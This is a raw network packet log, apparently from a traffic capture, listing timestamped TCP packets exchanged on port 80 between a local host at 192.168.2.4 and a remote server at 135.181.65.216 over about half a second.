Dec 24, 2024 22:27:18.754678011 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.754872084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.754919052 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.755392075 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.755439997 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.755469084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.755480051 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.755521059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.755743980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.755790949 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.756267071 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.756278038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.756320000 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.756413937 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.756424904 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.756463051 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.757169962 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.757180929 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.757191896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.757217884 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.757226944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.757328987 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.757406950 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.757992983 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.758003950 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.758043051 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.758146048 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.758157015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.758198023 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.758903980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.758950949 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.758987904 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.759001017 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.759031057 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.759040117 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.759215117 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.759263992 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.759675980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.759722948 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.759808064 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.759819984 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.759855986 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.760040998 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.760088921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.760592937 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.760605097 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.760643005 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.760747910 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.760759115 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.760797977 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.931070089 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.931119919 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.931124926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.931298971 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.931319952 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.931327105 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.931360006 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.931380033 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.931530952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.931730986 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.931996107 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.932007074 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.932050943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.932137966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.932148933 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.932213068 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.932812929 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.932859898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.932923079 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.932934046 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.932974100 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.933141947 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.933334112 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.933646917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.933660030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.933701038 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.933829069 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.933840990 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.933892012 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.934600115 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.934720993 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.934792995 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.934804916 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.934813976 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.934847116 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.934863091 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.935353994 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.935403109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.935461044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.935472012 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.935519934 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.935729027 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.935776949 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.936207056 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.936259031 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.936310053 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.936321020 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.936364889 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.936552048 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.936599970 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.937088013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.937098980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.937134981 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.937150955 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.937217951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.937227964 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.937274933 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.937993050 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.938004017 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.938019991 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.938033104 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.938069105 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.938164949 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.938211918 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.938824892 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.938834906 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.938878059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.938956976 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.938999891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.939033031 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.939053059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.939671993 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.939729929 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.939852953 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.939888000 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.939897060 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.939908028 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.939925909 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.939949989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.940568924 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.940578938 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.940587997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.940599918 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.940615892 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.940646887 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.942277908 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.942286968 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.942301989 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.942312956 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.942323923 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.942333937 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.942353964 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.942378044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.942612886 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.942622900 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.942634106 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.942661047 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.942687035 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.943231106 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.943242073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.943252087 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.943264008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.943279028 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.943310022 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.943957090 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.944003105 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.944084883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.944093943 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.944135904 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.944305897 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.944370985 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.944895029 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.944905996 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.944916010 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.944926977 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.944945097 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.944962978 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.946077108 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.946126938 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.946150064 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.946187973 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.946196079 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.946233034 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.946427107 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.946476936 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.946549892 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.946598053 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.946770906 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.946782112 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.946820021 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.946958065 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.947004080 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.947385073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.947432041 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.947480917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.947493076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.947530985 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.947688103 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.947735071 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.948213100 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.948261023 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.948282003 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.948292017 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.948334932 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.948838949 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.948888063 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.949167013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.949218988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.949342966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.949354887 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.949395895 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.949609995 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.949774981 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.949939013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.949949980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.949992895 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.950108051 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.950117111 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.950160027 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.950809956 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.950856924 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.950887918 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.950900078 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.950941086 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.951191902 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.951239109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.951654911 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.951702118 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.951787949 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.951797962 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.951839924 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.952023029 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.952070951 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.952498913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.952548981 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.952644110 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.952653885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.952697039 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.952852011 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.952902079 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.953388929 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.953437090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.953577995 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.953624010 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.123615980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.123816013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.123826027 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.123967886 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.124057055 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.124066114 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.124118090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.124392986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.124403954 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.124452114 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.124707937 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.124716997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.124768972 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.125008106 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.125063896 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.125205040 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.125216007 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.125260115 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.125516891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.125566006 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.125730991 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.125741959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.125783920 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.126063108 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.126075029 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.126121044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.126635075 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.126681089 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.126745939 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.126755953 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.126801014 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.127078056 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.127125978 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.127429008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.127480030 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.127501965 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.127512932 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.127553940 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.127810955 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.128263950 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.128273964 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.128315926 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.128586054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.128736973 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.128747940 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.128787041 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.129031897 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.129479885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.129529953 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.129671097 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.129683018 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.129718065 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.129925013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.130445004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.130455971 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.130497932 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.130634069 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.130644083 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.130687952 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.131175041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.131221056 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.131290913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.131300926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.131340981 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.131623030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.132086992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.132138014 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.132178068 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.132189035 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.132227898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.132473946 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.132949114 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.132961035 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.133003950 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.133085966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.133102894 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.133143902 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.133804083 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.133850098 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.133872032 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.133882046 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.133919001 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.134186983 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.134228945 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.134617090 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.134628057 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.134670973 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.134757996 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.134768963 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.134824991 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.135520935 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.135530949 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.135544062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.135572910 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.135581970 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.135724068 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.136456013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.136466026 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.136512995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.136643887 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.136653900 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.136688948 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.137187004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.137238979 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.137352943 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.137362957 CET	80	49749	135.181.65.216	192.168.2.4
